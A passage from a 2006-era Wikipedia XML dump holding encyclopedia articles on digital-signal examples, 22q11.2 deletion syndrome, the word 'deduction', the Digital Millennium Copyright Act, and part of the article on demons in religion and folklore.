* A ''[[beacon]]'' is perhaps the simplest non-electronic digital signal, with just two states (on and off).  In particular, ''[[smoke signal]]s'' are one of the oldest examples of a digital signal, where an analog &quot;carrier&quot; (smoke) is [[modulated]] with a blanket to generate a digital signal (puffs) that conveys information.

* ''[[DNA]]'' comprises a long sequence of four digits (denoted [[adenine|A]], [[cytosine|C]], [[guanine|G]], and [[thymine|T]]), effectively a base-four [[numeral system]].  (In fact, in the [[double helix]] structure, there are two strands, but one of them is never read.)  Each of these digits is an organic molecule, known as a [[nucleotide]]. DNA is the major system of information transfer from one generation to another.

* [[Morse code]] uses five digital states&amp;mdash;dot, dash, short gap (between each letter), medium gap (between words), and long gap (between sentences)&amp;mdash;to send messages via a variety of potential carriers such as electricity or light, for example using an [[electrical telegraph]] or a flashing light.

* The [[Braille]] system was the first binary format for [[character encoding]], using a six-bit code rendered as dot patterns.

* [[Semaphore (communication)|Semaphore signalling]] uses rods or flags held in particular positions to send messages to the receiver watching them some distance away.

* [[International maritime signal flags]] have distinctive markings that represent letters of the alphabet to allow ships to send messages to each other. 

* More recently invented, a [[modem]] modulates an analog &quot;carrier&quot; signal (such as sound) to encode binary electrical digital information, as a series of binary digital sound pulses. A slightly earlier, surprisingly reliable version of the same concept was to bundle a sequence of audio digital &quot;signal&quot; and &quot;no signal&quot; information (i.e. &quot;sound&quot; and &quot;silence&quot;) on [[compact audio cassette|magnetic cassette tape]] for use with early [[home computer]]s.

==See also==
*[[Digital circuit]]
*[[Binary (disambiguation)|Binary]]
*[[Analog to digital converter]]
*[[Digital control]]
*[[Digitalism]]
*[[Digital Revolution]]
*[[Digital signal]]
*[[Digital culture]] 
[[Category:Digital technology]]

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[[tr:Dijital]]</text>
    </revision>
  </page>
  <page>
    <title>22q11.2 deletion syndrome</title>
    <id>8277</id>
    <revision>
      <id>41969062</id>
      <timestamp>2006-03-02T23:15:31Z</timestamp>
      <contributor>
        <username>Vaughan</username>
        <id>4704</id>
      </contributor>
      <minor />
      <comment>more wikilinks</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = DiGeorge syndrome |
  ICD10       = {{ICD10|D|82|1|d|80}} |
  ICD9        = {{ICD9|279.11}} |
}}
'''22q11.2 deletion syndrome''' (also called DiGeorge syndrome and velocardiofacial syndrome) is a disorder caused by the deletion of a small piece of [[chromosome 22 (human)|chromosome 22]]. The deletion occurs near the middle of the [[chromosome]] at a location designated q11.2. It has a birth incidence estimated at 1:1800.

The features of this syndrome vary widely, even among members of the same family, and affect many parts of the body. Characteristic signs and symptoms include heart defects that are often present from birth, an opening in the roof of the mouth (a [[cleft palate]] or other defect in the palate), [[|learning disability|learning disabilities]], recurrent [[infection]]s caused by problems with the [[immune system]], and mild differences in facial features. Affected individuals may also have kidney abnormalities, low levels of calcium in the blood (which can result in seizures), significant feeding difficulties, [[autoimmune disorder]]s such as [[rheumatoid arthritis]], and an increased risk of developing mental illnesses such as [[schizophrenia]] and [[bipolar disorder]].

Because the signs and symptoms of 22q11.2 deletion syndrome are so varied, different groupings of features were once described as separate conditions. Doctors named these conditions DiGeorge syndrome, velocardiofacial syndrome (also called Shprintzen syndrome), and conotruncal anomaly face syndrome. In addition, some children with the 22q11.2 deletion were diagnosed with Opitz G/BBB syndrome and Cayler cardiofacial syndrome. Once the genetic basis for these disorders was identified, doctors determined that they were all part of a single syndrome with many possible signs and symptoms. To avoid confusion, this condition is usually called 22q11.2 deletion syndrome, a description based on its underlying genetic cause.

==Symptoms==
Individuals with a 22q11 deletion have a range of findings, including:
* [[Congenital heart disease]] (74% of individuals), particularly [[conotruncal]] malformations ([[tetralogy of Fallot]], [[interrupted aortic arch]], [[ventricular septal defect]], and [[truncus arteriosus]])
* [[palatal]] abnormalities (69%), particularly [[velopharyngeal incompetence]] (VPI), submucosal [[cleft palate]], and [[cleft palate]]; characteristic facial features (present in the majority of [[Caucasian race|Caucasian]] individuals)
* [[learning difficulties]] (70-90%)
* an [[immune deficiency]] regardless of their clinical presentation (77%)
* [[hypocalcemia]] (50%)
* significant [[feeding problems]] (30%)
* [[renal]] anomalies (37%)
* [[hearing loss]] (both [[conductive]] and [[sensorineural]])
* [[laryngotracheoesophageal]] anomalies
* [[growth hormone]] deficiency
* [[autoimmune disorders]]
* [[seizures]] (without [[hypocalcemia]])
* [[skeletal]] abnormalities

[[Thymus]], [[parathyroid gland]]s and [[heart]] derive from the same primitive embryonic structure and that is why these three organs are dysfunctioned together in this disease. Affected patients (usually children) are prone to [[yeast infections]].

==Cause==
The disease is related with genetic deletions (loss of a small part of the genetic material) found on the long arm of the 22nd chromosome. Some patients with similar clinical features may have deletions on the short arm of chromosome 10. 

==Treatment==
Although genetic transplantation methods are currently being developed by researchers, there is no genetic treatment of this disease, as yet. Therefore, the treatment is symptomatic, that is [[calcium]] is administered, [[infections]] are treated with [[antibiotics]], and these patients may occasionally undergo [[cardiac surgery]] for their heart abnormalities.

==Diagnosis/testing== 
The 22q11.2 deletion syndrome is diagnosed in individuals with a submicroscopic deletion of [[chromosome]] 22 detected by fluorescence in situ hybridization (FISH) using DNA probes from the DiGeorge chromosomal region (DGCR). Such [[genetic testing]] is widely available for the clinical and [[prenatal testing]] of the 22q11.2 deletion syndrome. Fewer than 5% of individuals with clinical symptoms of the 22q11.2 deletion syndrome have normal routine cytogenetic studies and negative FISH testing. They may have variant deletions of DiGeorge syndrome that may be detectable on a research basis only.  

==Genetics==
Most people with 22q11.2 deletion syndrome are missing about 3 million [[base pair]]s (the building blocks of DNA) on one copy of [[chromosome 22 (human)|chromosome 22]] in each cell. This region contains about 30 genes, but many of these genes have not been well characterized. A small percentage of affected individuals have shorter deletions in the same region. This condition is often described as a contiguous gene deletion syndrome because a deletion in chromosome 22 leads to the loss of many genes.

Researchers have not yet identified all of the genes that contribute to the features of 22q11.2 deletion syndrome. They have determined that the loss of one particular gene on chromosome 22, ''[[TBX1]]'', is probably responsible for many of the syndrome's characteristic signs (such as heart defects, a cleft palate, distinctive facial features, and low calcium levels). A loss of this gene does not appear to cause learning disabilities, however. Additional genes in the deleted region are likely to contribute to the signs and symptoms of 22q11.2 deletion syndrome.

The 22q11.2 deletion syndrome is inherited in an [[autosomal dominant]] manner. Almost all (about 93%) of cases have a de novo (new to the family) deletion of 22q11.2 but about 7% inherit the 22q11.2 deletion from a parent. Children of individuals with del 22q11.2 have a 50% chance of inheriting the 22q11.2 deletion. [[Prenatal testing]], such as [[amniocentesis]], is available for pregnancies determined to be at risk. Also pregnancies who have findings of congenital heart disease and/or cleft palate detected by ultrasound examination may be offered prenatal testing.  [[Genetic counseling]] may be helpful for families who may have DiGeorge syndrome.

==Epidemiology==
22q11.2 deletion syndrome affects an estimated 1 in 1800 live births. The condition may be more common, however, because some people with the deletion have few signs and symptoms and may not have been diagnosed.

==References==
* {{cite journal issue | author=Baldini A | title=DiGeorge syndrome: an update | journal=Curr Opin Cardiol | year=2004 | pages=201-4 | volume=19 | issue=3 }} PMID 15096950
* {{cite journal issue | author=Maynard TM, Haskell GT, Lieberman JA, LaMantia AS | title=22q11 DS: genomic mechanisms and gene function in DiGeorge/velocardiofacial syndrome | journal=Int J Dev Neurosci | year=2002 | pages=407-19 | volume=20 | issue=3-5 }} PMID 12175881
* {{cite journal issue | author=McDermid HE, Morrow BE | title=Genomic disorders on 22q11 | journal=Am J Hum Genet | year=2002 | pages=1077-88 | volume=70 | issue=5 }} PMID 11925570 ''[http://www.pubmedcentral.gov/articlerender.fcgi?tool=pubmed&amp;pubmedid=11925570 Full text]''
* {{cite journal issue | author=Perez E, Sullivan KE | title=Chromosome 22q11.2 deletion syndrome (DiGeorge and velocardiofacial syndromes) | journal=Curr Opin Pediatr | year=2002 | pages=678-83 | volume=14 | issue=6 }} PMID 12436034
* {{cite journal issue | author=Yagi H, Furutani Y, Hamada H, Sasaki T, Asakawa S, Minoshima S, Ichida F, Joo K, Kimura M, Imamura S, Kamatani N, Momma K, Takao A, Nakazawa M, Shimizu N, Matsuoka R | title=Role of TBX1 in human del22q11.2 syndrome | journal=Lancet | year=2003 | pages=1366-73 | volume=362 | issue=9393 }} PMID 14585638
* {{cite journal issue | author=Yamagishi H, Srivastava D | title=Unraveling the genetic and developmental mysteries of 22q11 deletion syndrome | journal=Trends Mol Med | year=2003 | pages=383-9 | volume=9 | issue=9 }} PMID 13129704
''This article incorporates public domain text from [http://ghr.nlm.nih.gov The U.S. National Library of Medicine]''

==External links==
* [http://www.vcfsef.org/index.html VCFS Educational Foundation, Inc.]
* [http://www.chop.edu/consumer/jsp/division/generic.jsp?id=74634 Children's Hospital of Philadelphia]
* [http://www.ncbi.nlm.nih.gov/books/bv.fcgi?call=bv.View..ShowSection&amp;rid=gnd.section.150 NIH]
* {{OMIM|188400}}
* [http://www.emedicine.com/med/topic567.htm eMedicine]
* [http://www.maxappeal.org.uk MaxAppeal]

[[Category:Genetic disorders]]
[[Category:Eponymous diseases]]

[[es:Síndrome de DiGeorge]]
[[fr:Microdélétion 22q11]]
[[nl:Syndroom van DiGeorge]]
[[pl:Zespół Di George'a]]</text>
    </revision>
  </page>
  <page>
    <title>Deduction</title>
    <id>8278</id>
    <revision>
      <id>32879296</id>
      <timestamp>2005-12-27T14:57:22Z</timestamp>
      <contributor>
        <username>Alsandro</username>
        <id>493274</id>
      </contributor>
      <minor />
      <text xml:space="preserve">There are several meanings for the word '''''deduction''''':

* [[Natural deduction]]
* [[Deductive reasoning]]
* Deductions in terms of [[taxation]], such as
** [[Itemized deduction]]s
** [[Standard deduction]]

See also:
* [[Logic]]
* [[Venn diagram]]
* [[Inductive reasoning]]
* Both [[statistics]] and the [[scientific method]] rely on both induction and deduction.

{{disambig}}

[[de:Deduktion]]
[[ka:დედუქცია]] 
[[nl:Deductie]]
[[sv:Deduktion]]</text>
    </revision>
  </page>
  <page>
    <title>Digital Millennium Copyright Act</title>
    <id>8279</id>
    <revision>
      <id>41708081</id>
      <timestamp>2006-03-01T05:09:19Z</timestamp>
      <contributor>
        <ip>137.22.122.30</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox U.S. legislation|
  titlename=Digital Millennium Copyright Act|
  fullname=To amend title 17, United States Code, to implement the [[World Intellectual Property Organization]] Copyright Treaty and Performances and Phonograms Treaty, and for other purposes.|
  acronym=DMCA|
  enactedby=[[105th Congress]]|
  effectivedate=[[October 28]], [[1998]]|
  cite_publ=Pub. L. 105-304|
  publ_url=http://thomas.loc.gov/cgi-bin/toGPO/http://frwebgate.access.gpo.gov/cgi-bin/getdoc.cgi?dbname=105_cong_public_laws&amp;docid=f:publ304.105.pdf|
  cite_stat=112 Stat. 2860 (1998)|
  actsamended=[[Copyright Act of 1976]]|
  titleamended=5 (Government Organization and Employees); 17 (Copyrights); 28 (Judiciary and Judicial Procedure); 35 (Patents)|
  sectionscreated=17 U.S.C. &amp;sect;&amp;sect; 512, 1201-1205, 1301-1332; 28 U.S.C. &amp;sect; 4001|
  sectionsamended=17 U.S.C. &amp;sect;&amp;sect; 101, 104, 104A, 108, 112, 114, 117, 701|
  leghisturl=http://thomas.loc.gov/cgi-bin/bdquery/z?d105:HR02281:@@@X|
  introducedin=[[United States House of Representatives|House of Representatives]]|
  introducedbill=H.R. 2281|
  introducedby=Rep. [[Howard Coble]] ([[United States Republican Party|R]]-[[North Carolina|NC]])|
  introduceddate=[[July 29]], [[1997]]|
  committees=[[House Judiciary Committee]] (Subcommittee on Courts and Intellectual Property); [[House Commerce Committee]] (Subcommittee on Telecommunications, Trade, and Consumer Protection)|
  passedbody1=[[United States House of Representatives|House]]|
  passeddate1=[[August 4]], [[1998]]|
  passedvote1=voice vote|
  passedbody2=[[United States Senate|Senate]]|
  passeddate2=[[September 17]], [[1998]]|
  passedvote2=unanimous consent|
  conferencedate=[[October 8]], [[1998]]|
  passedbody3=[[United States Senate|Senate]]|
  passeddate3=[[October 8]], [[1998]]|
  passedvote3=unanimous consent|
  passedbody4=[[United States House of Representatives|House]]|
  passeddate4=[[October 12]], [[1998]]|
  passedvote4=voice vote|
  signedpresident=[[Bill Clinton|Clinton]]|
  signeddate=[[October 28]], [[1998]]|
  amendments=None|
}}
The '''Digital Millennium Copyright Act''' ('''DMCA''') is a [[United States]] [[copyright]] [[law]].  The act criminalizes production and dissemination of technology that can [[circumvention|circumvent]] measures taken to protect copyright, not merely infringement of copyright itself, and heightens the penalties for copyright infringement on the Internet.  Passed on [[May 14]], [[1998]] by a unanimous vote in the United States Senate and signed into law by President [[Bill Clinton]] on [[October 28]], [[1998]], the DMCA amended title 17 of the [[US Code]] to extend the reach of copyright, while limiting the liability of Online Providers from [[copyright infringement]] by their users.

On [[May 22]], [[2001]] the [[European Union]] passed the [[EU Copyright Directive]] or EUCD, similar in many ways to the DMCA.

==DMCA Title I: WIPO Copyright and Performances and Phonograms Treaties Implementation Act==

DMCA Title I has two major portions, one of which includes works covered by several treaties in US copy prevention laws and gave the title its name and the other which is often known as the DMCA anti-circumvention provisions. The latter implemented a broad ban on the circumvention of copy prevention systems and required that all analogue video recorders have copy prevention built in.

==DMCA Title II: Online Copyright Infringement Liability Limitation Act==

DMCA Title II, the [[Online Copyright Infringement Liability Limitation Act]], creates a [[safe harbor]] for online service providers (OSPs, including ISPs) against copyright liability if they adhere to and qualify for certain prescribed safe harbor guidelines and promptly block access if they receive a notification from a copyright holder or their agent. It also includes a counter-notification which requires restoration of the material and a provision for subpoenas to identify alleged infringers.

==DMCA Title III: Computer Maintenance Competition Assurance Act==
DMCA Title III modified [http://www.law.cornell.edu/uscode/17/117.html section 117] of the copyright title so that those repairing computers could make certain temporary, limited copies while working on a computer.

==DMCA Title IV: Miscellaneous Provisions==
DMCA Title IV contains an assortment of provisions:
*Clarified and added to the duties of the Copyright Office.
*Added ephemeral copy for broadcasters provisions, including certain [[statutory license]]s.
*Added provisions to facilitate distance education.
*Added provisions to assist libraries with keeping copies of sound recordings.
*Added provisions relating to collective bargaining and the transfer of movie rights.

==DMCA Title V: Vessel Hull Design Protection Act==
DMCA Title V added sections [http://www.law.cornell.edu/uscode/17/1301.html 1301] through [http://www.law.cornell.edu/uscode/17/1332.html 1332] to add protection for boat hull designs.

As useful articles whose form cannot be cleanly separated from their function, boat hull designs were formerly not protected under copyright law.

==Reform==
There are efforts in Congress to modify the Act.  [[Rick Boucher]], a Democratic congressman from Virginia, is leading one of these efforts by introducing the [[DMCRA|Digital Media Consumers&amp;#8217; Rights Act]] (DMCRA).

A prominent bill related to the DMCA is the [[Consumer Broadband and Digital Television Promotion Act]] (CBDTPA), known in early drafts as the Security Systems and Standards Certification Act (SSSCA).  This bill, if it were passed, would have dealt with the devices used to access digital content and would have been even more restrictive than the DMCA.

==See also==
*Benefit Authors without Limiting Advancement or Net Consumer Expectations ([[H.R. 1066|BALANCE]]) Act of 2003
*The &quot;No Electronic Theft&quot; ([[NET Act|NET]]) Act
*The &quot;Inducing Infringement of Copyrights Act&quot; ([[Inducing Infringement of Copyrights Act|INDUCE]]) Act
*[[Pirate Act]]
*''[[Chamberlain v. Skylink]]''
*''[[Universal v. Reimerdes]]''
*Digital Media Consumers' Rights Act ([[DMCRA]])
*[[Dmitri Sklyarov]]
*[[Digital Transition Content Security Act]]
*[[Eric Bauman]]

==External links==
*[http://www.copyright.gov/legislation/dmca.pdf U.S. Copyright Office Summary of the DMCA]
*[http://www.loc.gov/copyright/title17/ Copyright Law of the United States of America (Library of Congress)]
*[http://www.anti-dmca.org The Anti-DMCA Website]
*[http://www.tuxers.net/dmca/ DMCA Information]
*[http://www.eff.org/IP/DMCA/ EFF: DMCA Archive]
*[http://www.google.com/dmca.html Google's DMCA policy]
*[http://www.house.gov/boucher/ Rep. Rick Boucher's website]
*[http://thomas.loc.gov/cgi-bin/query/z?c105:H.R.2281: Text of the DMCA]
*[http://www.law.cornell.edu/uscode/17/ Title 17 of the U.S. Code]
*[http://www.senate.gov/legislative/LIS/roll_call_lists/roll_call_vote_cfm.cfm?congress=105&amp;session=2&amp;vote=00137 Senate DMCA Vote by Senator Name, Vote Position, and Home State (U.S. Senate Roll Call Votes - 105th Congress - 2nd Session - Vote 137)]
* [http://www.cybertelecom.org/ip/dmca.htm  Cybertelecom's DMCA Information and Background Material]
* [http://www.usenet-replayer.com/dmca/ Example of a fully automatic DMCA user interface of a ISP]
* [http://www.andrew.cmu.edu/user/twm/embed/dmca.html DMCA legal threats to a software developer who won, good read]


[[Category:1998 in law]]
[[Category:Computer law]]
[[Category:United States copyright law]]
[[Category:United States intellectual property law]]

[[de:Digital Millennium Copyright Act]]
[[fr:Digital Millennium Copyright Act]]
[[ja:デジタルミレニアム著作権法]]
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  <page>
    <title>Demon</title>
    <id>8280</id>
    <revision>
      <id>41790109</id>
      <timestamp>2006-03-01T19:45:30Z</timestamp>
      <contributor>
        <username>Syrthiss</username>
        <id>334792</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/63.147.48.242|63.147.48.242]] ([[User talk:63.147.48.242|talk]]) to last version by El C</comment>
      <text xml:space="preserve">{{otheruses|Demon}}
[[Image:Schongauer Anthony.jpg|thumb|right|250px|[[Anthony_the_Great|St. Anthony]] plagued by demons, as imagined by [[Martin Schongauer]], in the 1480s]]
In  [[religion]], [[folklore]], and [[mythology]]  a '''demon''' or '''demoness''' is a [[supernatural]] being that has generally been described as a malevolent [[spirit]], or [[Daemon (mythology)|daemon]] and [[djinn]]. A demon is frequently depicted as a force that may be [[conjury|conjured]] and insecurely [[control]]led. The &quot;good&quot; demon in recent use is largely a literary device (eg: [[Maxwell's demon]]). In common language, &quot;demonizing&quot; one's opponent is an aspersion. 

As the [[Iranian]] [[Avestan]] and [[Vedic religion|Vedic]] traditions and also other branches of [[Indo-European religion|Indo-European mythologies]] show, the notion of demon has existed for many centuries.

The [[Greek language|Greek]] conception of a ''[[Daemon (mythology)|daemon]]'' (&amp;#948;&amp;#945;&amp;#943;&amp;#956;&amp;omega;&amp;#957;) appears in the works of [[Plato]] and many other ancient authors, but without the evil connotations which are apparent in the [[Septuagint]] translation of the [[Hebrew Bible]] and in the Greek originals of the [[New Testament]]. The [[medieval]] and neo-medieval conception of a &quot;demon&quot; in Western civilization (see the Medieval [[grimoire]] called the ''[[Ars Goetia]]'') derives seamlessly from the ambient popular culture of Late (Roman) Antiquity: Greco-Roman concepts of ''daemons'' that passed into Christian culture are discussed in the entry [[Daemon (mythology)|daemon]].The Hellenistic &quot;Demon&quot; eventually came to include many Semitic and Near Eastern gods as evaluated by Christianity.

In some present-day cultures, demons are still feared in popular [[superstition]], largely due to their alleged power to [[demonic possession|possess]] humans, and they are an important concept in many modern religions and occultist traditions. 

In the contemporary Western occultist tradition (perhaps epitomized by the work of [[Aleister Crowley]]) a demon, such as [[Choronzon]], the &quot;Demon of the Abyss&quot;, is a useful metaphor for certain inner psychological processes, though some may also regard it as an objectively real phenomenon.

==Etymology==
The idea of demons is as old as religion itself, and the word &quot;demon&quot; seems to have ancient origins.  The Merriam-Webster dictionary gives the etymology of the word as Greek  ''daimon,'' probably from the verb ''daiesthai'' meaning &quot;to divide, distribute.&quot;  The [[Proto-Indo-European language|Proto-Indo-European]] root *''deiwos'' for god, originally an adjective meaning &quot;[[celestial]]&quot; or &quot;bright, shining&quot; has retained this meaning in many related [[Indo-European]] languages and cultures (Sanskrit [[deva deity|deva]], Latin deus, German [[Tiw]]), but also provided another other common word for demon in Avestan [[daeva]].

In modern greek, the word 'δαίμων', is the greek word for demon. But, in ancient greek, the word &quot;δαίμων&quot; means somebody very clever.

==Demons in the Hebrew Bible==
Demons as described in the [[Tanakh]] are not the same as &quot;demons&quot; commonly known in popular or Christian culture.

The demons mentioned in the [[Hebrew Bible]] are of two classes, the ''[[se'irim]]'' and the ''shedim''. The ''se'irim'' (&quot;hairy beings&quot;), to which some [[Israelite]]s offered sacrifices in the open fields, are [[satyr]]-like creatures, described as dancing in the wilderness (Isaiah xiii. 21, xxxiv. 14), and which are identical with the ''[[jinn]]''. (But compare the completely European [[woodwose]].)  Possibly to the same class belongs [[Azazel]], the goat-like demon of the wilderness (Leviticus xvi. 10ff), probably the chief of the ''se'irim'', and [[Lilith]] (Isaiah xxxiv. 14). Possibly &quot;the roes and hinds of the field&quot;, by which Shulamit conjures the daughters of Jerusalem to bring her back to her lover (Canticles ii. 7, iii. 5), are [[Faun|faunlike spirits]] similar to the ''se'irim'', though of a harmless nature.

The &quot;stones of the field&quot; (Job v. 23), with which the righteous are said to be in league, seem to be field-demons of the same nature. The wilderness as the home of demons was regarded as the place whence such diseases as [[leprosy]] issued, and in cases of leprosy one of the birds set apart to be offered as an expiatory sacrifice was released, that it might carry the disease back to the desert (Leviticus xiv. 7, 52).

The evil spirit that troubled [[Saul the King|Saul]] (I Samuel xvi. 14 et seq.) may have been a demon, though the [[Masoretic text]] suggests the spirit was sent by God.

&lt;!--The following paragraphy is inaccurate, Deuteronomy 4:35 states &quot;To you it was shown so that you would acknowledge that the Lord is God; there is no other besides him.&quot; This clearly statest that there are no other Gods besides the Hebrew God. It is NOT saying that there is no supernatural power beyond God.--&gt;
&lt;!--None of these demons, however, has actually a place in the system of Biblical theology; it is God alone who sends pestilence. There is no supernatural power beyond God (Deuteronomy iv. 35.) in Judaism.  ''Shedim'' are simply spirits similar in nature to humans; some are good and some are bad, but all procreate like humans (although they lack physical bodies, see Talmud Bavli) and are able to pass between this world and the spiritual (Talumud Bavli, Masechta Brochos).
--&gt;
Some benevolent ''shedim'' were used in kabbalistic ceremonies (as with the golem of Rabbi Yehuda Loevy), and malevolent shedim (''mazikin'', from the root meaning to wound) are often responsible in instances of possesion.  Instances of idol worship were often the result of a ''shed'' inhabiting an otherwise worthless statue;{{fact}} the shed would pretend to be a God with the power to send pestilence, although such events were not actually under his control.

===Influences from Chaldean mythology===
In [[Chaldea]]n mythology the seven evil deities were known as ''shedu'', meaning storm-demons. They were represented in [[Bull (mythology)| winged bull form]], derived from the colossal bulls used as protective genii of royal palaces, the name &quot;shed&quot; assumed also the meaning of a propitious genius in [[Babylon]]ian magic literature (see Delitzsch, ''Assyrisches Handwörterbuch''. pp. 60, 253, 261, 646; Jensen, ''Assyr.-Babyl. Mythen und Epen'', 1900, p. 453; [[Archibald Sayce]], l.c. pp. 441, 450, 463; [[Lenormant]], l.c. pp. 48-51).

It was from Chaldea that the name &quot;shedu&quot; came to the Israelites, and so the  writers of the Tanach applied the word as a dylogism to the Canaanite deities in the two passages quoted. But they also spoke of &quot;the destroyer&quot; (Exodus xii. 23) as a demon whose malignant effect upon the houses of the Israelites was to be warded off by the blood of the paschal sacrifice sprinkled upon the lintel and the door-post (a corresponding pagan talisman is mentioned in Isaiah lvii. 8). In II Samuel xxiv; 16 and II Chronicles xxi. 15 the pestilence-dealing demon is called  &quot;the destroying angel&quot; (compare &quot;the angel of the Lord&quot; in II Kings xix. 35; Isaiah xxxvii. 36), because, although they are demons, these &quot;evil messengers&quot; (Psalms lxxviii. 49; A. V. &quot;evil angels&quot;) do only the bidding of God; they are the agents of His divine wrath.

There are indications that popular Hebrew mythology ascribed to the demons a certain independence, a malevolent character of their own, because they are believed to come forth, not from the heavenly abode of God, but from the nether world (compare Isaiah xxxviii. 11 with Job xiv. 13; Psalms xvi. 10, xlix. 16, cxxxix. 8).

==In Jewish rabbinic literature==
[[Rabbi]]nical demonology has three classes of, demons, though they are scarcely separable one from another. There were the ''shedim'', the ''mazzi&amp;#7731;im'' (&quot;harmers&quot;), and the ''ru&amp;#7717;in'' (&quot;evil spirits&quot;). Besides these there were ''lilin'' (&quot;night spirits&quot;), ''&amp;#7789;elane'' (&quot;shade&quot;, or &quot;evening spirits&quot;), ''&amp;#7789;iharire'' (&quot;midday spirits&quot;), and ''&amp;#7827;afrire'' (&quot;morning spirits&quot;), as well as the &quot;demons that bring famine&quot; and &quot;such as cause storm and earthquake&quot; (Targ. Yer. to Deuteronomy xxxii. 24 and Numbers vi. 24; Targ. to Cant. iii. 8, iv. 6; Eccl. ii. 5; Ps. xci. 5, 6.)

In the main, Hebrew demons were workers of harm. To them were ascribed the various diseases, particularly such as affect the brain and the inner parts. Hence there was a fear of &quot;Shabriri&quot; (lit. &quot;dazzling glare&quot;), the demon of blindness, who rests on uncovered water at night and strikes those with blindness who drink of it (Pesachim 112a; Avodah Zarah 12b); also mentioned were the spirit of catalepsy and the spirit of headache, the demon of epilepsy, and the spirit of nightmare,

These demons were supposed to enter the body and cause the disease while overwhelming or &quot;seizing&quot; the victim (hence &quot;seizure&quot;).. To cure such diseases it was necessary to draw out the evil demons by certain incantations and talismanic performances, in which the [[Essenes]] excelled. [[Josephus]], who speaks of demons as &quot;spirits of the wicked which enter into men that are alive and kill them&quot;, but which can be driven out by a certain root (''Bellum Judaeorum'' vii. 6, § 3), witnessed such a performance in the presence of the Emperor Vespasian (&quot;Antiquities&quot; viii. 2, § 5), and ascribed its origin to [[King Solomon]].

===The King and Queen of Demons===
In some rabbinic sources, the demons were believed to be under the dominion of a king or chief, either [[Asmodai]] (Targ. to Eccl. i. 13; Pes. 110a; Yer. Shek. 49b) or, in the older [[Haggadah]], [[Samael]] (&quot;the angel of death&quot;), who kills   by his deadly poison, and is called &quot;chief of the devils&quot;. Occasionally a demon is called &quot;[[satan]]&quot;: &quot;Stand not in the way of an ox when coming from the pasture, for Satan dances between his horns&quot; (Pes. 112b; compare B. &amp;#7730;. 21a).

The queen of demons is [[Lilith]], pictured with wings and long flowing hair, and called the &quot;mother of [[Ahriman]]&quot; (B. B. 73b; 'Er. 100b; Nid. 24b). &quot;When Adam, doing penance for his sin, separated from Eve for 130 years, he, by impure desire, caused the earth to be filled with demons, or shedim, lilin, and evil spirits&quot; (Gen. R. xx.; 'Er. 18b.)

Though the belief in demons was greatly encouraged and enlarged in [[Babylonia]] under the influence of [[Parsee]] notions, demonology never became an essential feature of Jewish theology. The reality of demons was never questioned by the [[Talmudist]]s and late rabbis; most accepted their existence as a fact. Nor did most of the medieval thinkers question their reality. Only rationalists like [[Maimonides]] and [[Abraham ibn Ezra]], clearly denied their existence. Their point of view eventually became the mainstream Jewish understanding.

==In the New Testament and Christianity==
&quot;Demon&quot; has a number of meanings, all related to the idea of a spirit that inhabited a place, or that accompanied a person. Whether such a ''daemon'' was benevolent or malevolent, the Greek word meant something different from the later medieval notions of 'demon', and scholars debate the time in which first century usage by [[Jew]]s and [[Christianity|Christian]]s in its original Greek sense became transformed to the later medieval sense.

In the ''[[Gospel of Mark]]'', Jesus casts out many demons, or evil spirits, from  those who are afflicted with various ailments (such as epileptic seizures). The imagery is very clear: Jesus is far superior to the power of demons over the human beings that they inhabit, and he is able to free these human victims  by commanding and casting out the demons, by binding them, and forbidding them to return. 

By way of contrast, in the book of [[Acts]] a group of Judaistic exorcists known as the sons of Sceva try to cast out a very powerful spirit without believing in or knowing Jesus , but fail with disastrous consequences. However Jesus himself never fails to vanquish a demon, no matter how powerful (see the account of the demon-possessed man at Gerasim), and even defeats Satan in the wilderness (see ''[[Gospel of Matthew|Matthew]]''). 

There is a description in the ''[[Book of Revelation]]'' 12:7-17 of a battle between God's army and Satan's followers, and their subsequent expulsion from Heaven to earth to persecute humans &amp;mdash; although this event is related as being foretold and taking place in the future. In ''[[Gospel of Luke|Luke]]'' 10:18 it is mentioned that a power granted by Jesus to control demons made Satan &quot;fall like lightning from heaven.&quot; 

[[Augustine of Hippo]]'s reading of [[Plotinus]], in ''[[The City of God]]'' (ch.11) is ambiguous as to whether ''daemons'' had become 'demonized' by the early 5th century:

:&quot;He (Plotinus)  also states that the blessed are called in Greek ''eudaimones'', because they are good souls, that is to say, good demons, confirming his opinion that the souls of men are demons.&quot;&amp;mdash;''City of God'', ch. 11.&amp;mdash;''Of the Opinion of the Platonists, that the Souls of Men Become Demons When Disembodied''. 

If Augustine meant 'demons' in the later, medieval sense, the passage would savor of a rhetorical casuistry that is not characteristic of him.

The contemporary Roman Catholic Church unequivocally teaches that angels and demons are real personal beings, not just symbolic devices. The Catholic Church has a cadre of officially sanctioned exorcists which perform many [[exorcism]]s each year. The exorcists of the Catholic Church teach that demons attack humans continually but that afflicted persons can be effectively healed and protected either by the formal rite of exorcism, authorized to be performed only by bishops and those they designate, or by prayers of deliverance which any Christian can offer for themselves or others [http://www.fathercorapi.com/articledet.asp?articleID=1928275639]  

In contemporary religion, the skeptical observer can judge how closely a belief in demons parallels the degree of [[authoritarianism]] of the sect in question.

==In Christian myth and legend==
Building upon the few references to ''daemons'' in the New Testament, especially the visionary poetry of the [[Book of Revelation|Apocalypse of John]], Christian writers of [[apocrypha]] from the 2nd century onwards created a more complicated tapestry of beliefs about &quot;demons&quot; that was largely independent of Christian scripture.

According to [[Christian mythology]], when God created [[angel]]s, he offered them the same choice he was to offer humanity: follow, or be cast apart from him. Some angels chose not to follow God, instead choosing the path of evil. These are not the [[fallen angel|fallen angels]], but are the pre-human entities known as [[demons]]. The fallen angels are the host of [[angels]] who later rebelled against God, headed by Lucifer (who became known as Satan after his rebellion against God). And later the 200 angels known as the Grigori, led by [[Semyazza]], [[Azazel]] and other angelic chiefs, some of whom became the demons that were conjured by King [[Solomon]] and imprisoned in the brass vessel, the [[Goetia]] demons, descended to [[Earth]] and cohabited with the daughters of men.

===War in Heaven===

